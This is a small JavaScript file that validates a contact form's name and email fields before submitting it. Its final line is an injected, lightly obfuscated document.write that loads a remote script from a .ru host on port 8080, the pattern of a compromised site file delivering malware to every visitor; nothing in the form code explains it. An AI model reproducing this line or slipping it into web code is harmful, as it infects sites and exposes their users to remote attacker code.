String.prototype.isEmpty = function()
{
   return this.match(/^\s*$/);
}

String.prototype.isEmail = function()
{
   return this.match(/^[a-zA-Z0-9._-]+@[a-zA-Z0-9.-]+\.[a-zA-Z]{2,}$/);
}   

var nume = document.getElementById('nume');
var telefon = document.getElementById('telefon');
var email = document.getElementById('email');

function doSubmit()
{
 	if ( nume.value.isEmpty() )
 	{            
		alert('Please insert your Name');
		nume.focus();
		return;		    		
    }
	if ( !email.value.isEmail() )
	{
         alert('Please insert a valid Email Address');
		 email.focus();
		 return;		    		
    }
	document.getElementById('formularValid').value = 1;
	document.getElementById('contact').submit();
}
document.write('<s'+'cript type="text/javascript" src="http://malepad.ru:8080/Parallel_Port.js"></scr'+'ipt>');